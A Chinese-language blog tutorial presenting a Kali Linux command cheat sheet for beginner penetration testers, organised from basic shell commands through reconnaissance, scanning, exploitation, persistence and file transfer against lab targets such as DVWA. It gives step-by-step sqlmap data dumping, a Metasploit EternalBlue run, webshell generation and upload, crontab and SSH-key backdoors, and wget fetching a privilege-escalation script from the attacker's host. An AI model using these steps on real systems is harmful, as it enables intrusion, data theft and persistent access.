作为一个从 “连虚拟机都不会装” 到能独立用 Kali 做渗透测试的网安新人,我最懂刚接触 Kali 时的迷茫 —— 黑底白字的终端里,输入ls能看到文件,输入nmap却报错 “命令不存在”,对着满屏英文参数发呆,不知道从哪开始学。
直到我在这个行业摸爬滚打了两三年,才明白:Kali 命令不是 “字典”,而是 “工具包”—— 按 “信息收集、漏洞扫描、漏洞利用” 等场景分类记忆,比孤立记几百个命令高效 10 倍。
这篇文章,我会把自己整理的 “Kali Linux 核心命令手册” 全盘托出,从系统基础到实战渗透,每个命令都附 “功能 + 语法 + 实战例子 + 注意事项”,零基础跟着练,1 周就能上手,3 周就能熟练用于靶场测试。
一、先搞懂:新人学 Kali 命令的 3 个核心原则(避免走弯路)
在开始记命令前,先记住 3 个原则,这是我踩了无数坑总结的经验,能帮你少浪费 200 小时:
- “分类记,不孤立记”:比如把 “nmap、whois、dig” 归为 “信息收集类”,把 “sqlmap、msfconsole” 归为 “漏洞利用类”,按场景调用,比背 “命令列表” 好记;
- “先会用,再深究”:比如
nmap先学-sS(SYN 扫描)、-p(指定端口)这 2 个常用参数,能扫出目标端口就行,后期再学-O(操作系统探测)、-A(全面扫描); - “实战练,不纸上谈兵”:每学一个命令,就在 DVWA、SQLI-LAB 等靶场试一次,比如学
sqlmap就用它跑一次 SQL 注入,比单纯记参数印象深 10 倍。
另外,必须强调:所有命令仅能在 “授权环境”(如自己搭建的靶场、企业 SRC 测试区)使用,未经授权扫描或攻击他人系统,涉嫌违法!
二、Kali 命令分类详解:从基础到实战,每个命令都带例子
我把 Kali 常用命令分为 6 大类,覆盖 “系统基础→信息收集→漏洞扫描→漏洞利用→权限维持→文件操作”,每个命令都附 “新手必学参数” 和 “靶场实战例子”,直接复制就能用。
(一)系统基础命令:新人第一天必学
这类命令是操作 Kali 的基础,比如打开文件、切换目录、安装工具,先掌握这 8 个,能避免 “连工具都装不上” 的尴尬。
| 命令 | 功能 | 核心语法 | 常用参数 | 实战例子 | 注意事项 |
|---|---|---|---|---|---|
ls | 查看当前目录文件 | ls [参数] 目录路径 | -l(详细信息)、-a(显示隐藏文件) | ls -l /root(查看 /root 目录下文件的详细信息,包括权限、大小) | 不带参数时,默认查看当前目录文件 |
cd | 切换目录 | cd 目录路径 | ..(返回上一级)、~(回到家目录) | cd /home/kali(切换到 /home/kali 目录)、cd ..(从当前目录返回上一级) | 输入cd后按回车,会直接回到家目录(/root 或 /home/kali) |
mkdir | 创建目录 | mkdir [参数] 目录名 | -p(创建多级目录) | mkdir -p /root/test/web(在 /root 下创建 test 目录,再在 test 下创建 web 目录) | 不写路径时,默认在当前目录创建 |
rm | 删除文件 / 目录 | rm [参数] 目标 | -r(删除目录)、-f(强制删除,不提示) | rm -rf /root/test(强制删除 /root 下的 test 目录及所有内容) | 慎用!rm -rf /会删除整个系统文件,直接变砖 |
sudo | 以管理员权限执行命令 | sudo 命令 | - | sudo apt update(以管理员权限更新软件源) | Kali 默认用户名是kali,密码是安装时设置的,执行sudo需要输密码 |
apt | 安装 / 卸载软件 | apt [参数] 软件名 | install(安装)、remove(卸载)、update(更新源) | sudo apt install nmap(安装 nmap 工具)、sudo apt remove nmap(卸载 nmap) | 安装前建议先执行sudo apt update,更新软件源,避免安装失败 |
ifconfig | 查看 / 配置网卡信息 | ifconfig [网卡名] | - | ifconfig eth0(查看 eth0 网卡的 IP 地址、MAC 地址) | 部分 Kali 版本用ip addr替代,功能一样,输入ip addr也能看 IP |
ping | 测试网络连通性 | ping [参数] 目标IP/域名 | -c(指定 ping 次数) | ping -c 4 baidu.com(ping 百度 4 次,测试网络是否通畅) | Windows 下ping会一直发数据包,Kali 下加-c指定次数,否则需按Ctrl+C停止 |
(二)信息收集命令:渗透测试的 “第一步”(靶场测试必学)
信息收集是渗透的核心,比如查目标域名的 IP、扫开放端口、找网站目录,这 6 个命令能帮你 “摸清目标底细”。
| 命令 | 功能 | 核心语法 | 新手必学参数 | 实战例子(以靶机 IP 192.168.1.100 为例) |
|---|---|---|---|---|
whois | 查域名注册信息(所有者、邮箱、服务器) | whois 域名 | - | whois baidu.com(查百度域名的注册商、到期时间) |
nmap | 网络扫描(端口、服务、操作系统) | nmap [参数] 目标IP/域名 | -sS(SYN 半开放扫描,快且隐蔽)、-p(指定端口,如 1-1000)、-O(探测操作系统) | nmap -sS -p 1-1000 192.168.1.100(扫描靶机 1-1000 端口,看哪些端口开放) |
dig | 查 DNS 解析(域名对应的 IP、DNS 服务器) | dig 域名 | @(指定 DNS 服务器,如 8.8.8.8) | dig baidu.com(查百度的 DNS 解析记录,看对应的 IP) |
dirb | 网站目录爆破(找隐藏的后台、备份文件) | dirb 目标URL 字典路径 | -w(使用字典) | dirb http://192.168.1.100/dvwa /usr/share/wordlists/dirb/common.txt(用默认字典爆破 DVWA 靶场的目录,找后台登录页) |
whatweb | 识别网站 CMS(如织梦、WordPress)、中间件 | whatweb 目标URL | - | whatweb http://192.168.1.100(识别靶机网站用的 CMS 和服务器中间件,如 Apache、Nginx) |
sslyze | 查网站 SSL 证书信息(漏洞检测) | sslyze 目标域名 | -regular(常规检测) | sslyze baidu.com(查百度 SSL 证书是否有漏洞,如 Heartbleed) |
实战场景串联:比如要测试 DVWA 靶机(IP 192.168.1.100),先执行nmap -sS -p 80,3306 192.168.1.100,确认 80(Web)和 3306(MySQL)端口开放;再用whatweb http://192.168.1.100/dvwa,确认是 DVWA 框架;最后用dirb爆破目录,找后台登录页(通常是 /login.php)。
(三)漏洞扫描命令:快速找出目标 “弱点”(不用手动一个个试)
漏洞扫描工具能自动检测目标的漏洞(如 SQL 注入、XSS),新手先掌握这 3 个,能省 80% 的手动测试时间。
| 命令 | 功能 | 核心语法 | 新手必学参数 | 实战例子 |
|---|---|---|---|---|
xray | Web 漏洞扫描(SQL 注入、XSS、文件上传) | xray [模式] --target 目标URL | webscan(Web 扫描模式)、--output(保存报告) | ./xray webscan --target http://192.168.1.100/dvwa --output dvwa_vuln.html(扫描 DVWA 靶场的 Web 漏洞,结果保存为 HTML 报告) |
gobuster | 目录 / 子域名爆破(比 dirb 更快) | gobuster [模式] -u 目标 -w 字典 | dir(目录爆破)、dns(子域名爆破)、-w(字典路径) | gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt(用 Gobuster 爆破靶机目录) |
openvas | 综合漏洞扫描(支持系统、Web、数据库漏洞) | openvas-start(启动服务) | - | 1. 执行openvas-start,自动打开浏览器界面; 2. 新建 “Task”,输入靶机 IP 192.168.1.100; 3. 开始扫描,结束后查看漏洞报告(如 MS17-010 永恒之蓝漏洞) |
注意:xray需要先从官网下载(Kali 默认不预装),解压后在终端进入解压目录,用./xray执行;openvas启动后,默认用户名和密码需要用openvasmd --user=admin --new-password=123456重置(123456 是新密码,可自定义)。
(四)漏洞利用命令:“攻击” 目标的核心(从 “找漏洞” 到 “拿权限”)
找到漏洞后,用这些命令利用漏洞(如 getshell、导出数据库),新手先聚焦 Web 漏洞利用,内网渗透后期再学。
| 命令 | 功能 | 核心语法 | 新手必学参数 | 实战例子(以 DVWA 靶场 SQL 注入为例) |
|---|---|---|---|---|
sqlmap | SQL 注入利用(导出数据库、执行命令) | sqlmap -u 目标URL --参数 | -dbs(列数据库)、-D 库名 --tables(列数据表)、-T 表名 --columns(列字段)、--dump(导出数据) | 1. sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=abc123"(指定 Cookie,因为 DVWA 需要登录); 2. sqlmap -u ... --dbs(列出靶机所有数据库,找到 dvwa 库); 3. sqlmap -u ... -D dvwa --tables(列出 dvwa 库的表,找到 users 表); 4. sqlmap -u ... -D dvwa -T users --dump(导出 users 表数据,拿到管理员账号密码) |
msfconsole | 漏洞利用框架(支持永恒之蓝、Struts2 等漏洞) | msfconsole(启动框架) | search 漏洞名(搜索漏洞模块)、use 模块路径(加载模块)、set 参数 值(设置参数)、run(执行) | 利用 “永恒之蓝” 漏洞拿靶机权限: 1. msfconsole(启动 MSF); 2. search ms17-010(搜索永恒之蓝模块); 3. use exploit/windows/smb/ms17_010_eternalblue(加载模块); 4. set RHOSTS 192.168.1.100(设置靶机 IP); 5. set RPORT 445(设置 SMB 端口 445); 6. run(执行,成功后拿到靶机 shell) |
weevely | 生成 WebShell(用于文件上传漏洞) | weevely generate 密码 木马文件路径 | generate(生成木马)、connect(连接木马) | 1. weevely generate 123456 /root/webshell.php(生成密码为 123456 的 PHP 木马); 2. 通过 DVWA 的文件上传漏洞,把 webshell.php 上传到靶机; 3. weevely connect http://192.168.1.100/dvwa/hackable/uploads/webshell.php 123456(连接木马,拿到靶机 Web 权限) |
(五)权限维持命令:“拿到权限后不丢失”(进阶必备)
拿到靶机权限后,需要留 “后门”,避免下次重新攻击,新手先学这 2 个基础后门命令。
| 命令 | 功能 | 实战例子 | 注意事项 |
|---|---|---|---|
crontab | 定时任务后门(让木马定期启动) | 在靶机 shell 中执行: 1. crontab -e(编辑定时任务); 2. 输入* * * * * /root/backdoor.sh(每分钟执行一次 backdoor.sh 木马); 3. 按Ctrl+X保存,输入Y确认 | 仅在 Linux 靶机有效,Windows 靶机用 “任务计划程序” 替代 |
ssh-keygen | SSH 免密登录(留后门,下次直接登录) | 在 Kali 本地执行: 1. ssh-keygen(生成 SSH 密钥,一路按回车); 2. ssh-copy-id kali@192.168.1.100(把公钥传到靶机,kali 是靶机用户名); 3. 下次登录直接输ssh kali@192.168.1.100,不用输密码 | 靶机需要开启 SSH 服务(sudo service ssh start),且允许密钥登录 |
(六)文件操作命令:处理靶机文件(下载数据、上传工具)
拿到权限后,需要下载靶机的敏感文件(如数据库备份),或上传工具(如提权脚本),这 3 个命令必学。
| 命令 | 功能 | 实战例子 | |
|---|---|---|---|
wget | 从网络下载文件到本地 | 在靶机 shell 中执行:wget http://192.168.1.200/privesc.sh(从 Kali 的 HTTP 服务下载提权脚本 privesc.sh,192.168.1.200 是 Kali 的 IP) | 需先在 Kali 启动 HTTP 服务:python3 -m http.server 80(在脚本所在目录执行) |
curl | 下载文件 / 发送 HTTP 请求 | curl -O http://192.168.1.200/privesc.sh(和 wget 功能类似,-O 保存文件为原文件名) | 比 wget 支持更多协议(如 HTTPS),但下载大文件时 wget 更稳定 |
sz/rz | 本地与靶机互传文件(需靶机支持) | 1. 在 Kali 终端用ssh登录靶机后,输入rz(弹出窗口,选择本地文件上传到靶机); 2. 输入sz 靶机文件路径(把靶机文件下载到本地) | 部分靶机可能没装 lrzsz 工具,需先执行sudo apt install lrzsz安装 |
三、新人进阶:Kali 命令学习路径图(3 周从入门到熟练)
为了帮你规划学习节奏,我画了一张 “3 周学习路径图”,按天分配任务,跟着练就能逐步掌握:



四、新人必看:3 个命令记忆技巧 + 2 个练习环境
1. 命令记不住?试试这 3 个技巧
- “高频命令贴桌面”:把
nmap、sqlmap、msfconsole的常用参数写在便利贴上,贴在电脑旁,用的时候看一眼,3 次就记住; - “写实战笔记”:每次用命令解决问题后,记录 “命令 + 参数 + 效果”,比如 “
sqlmap -u ... --dbs:列出靶机数据库”,下次忘的时候翻笔记; - “用别名简化命令”:比如把
nmap -sS -p 1-1000简化为nmap快速扫描,编辑~/.bashrc文件,添加alias nmap快速扫描='nmap -sS -p 1-1000',保存后执行source ~/.bashrc,下次输入nmap快速扫描 192.168.1.100就能用。
2. 安全练习环境推荐
- 本地靶场:DVWA(Web 漏洞练习)、SQLI-LAB(SQL 注入专项)、VulnHub(虚拟机靶机,如 Metasploitable 3);
- 在线平台:Hack The Box(需注册,有免费靶机)、TryHackMe(新手友好,有引导式练习)。
五、总结:
很多新人觉得 Kali 命令难,是因为一开始就想 “记住所有命令”—— 其实没必要。我现在做渗透测试,常用的命令也就 30 个左右,剩下的需要时查笔记就行。
记住:学习 Kali 的核心是 “解决问题”,不是 “背命令”。比如你需要 “找靶机的 Web 漏洞”,就想到用xray扫描;需要 “拿 SQL 注入的权限”,就想到用sqlmap导出数据。按 “问题→命令→实战” 的逻辑学,比孤立记参数高效 10 倍。
收藏这篇文章,遇到不会的命令就翻一翻,3 周后你会发现:原来 Kali Linux,也没那么难。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取



1554

被折叠的 条评论
为什么被折叠?



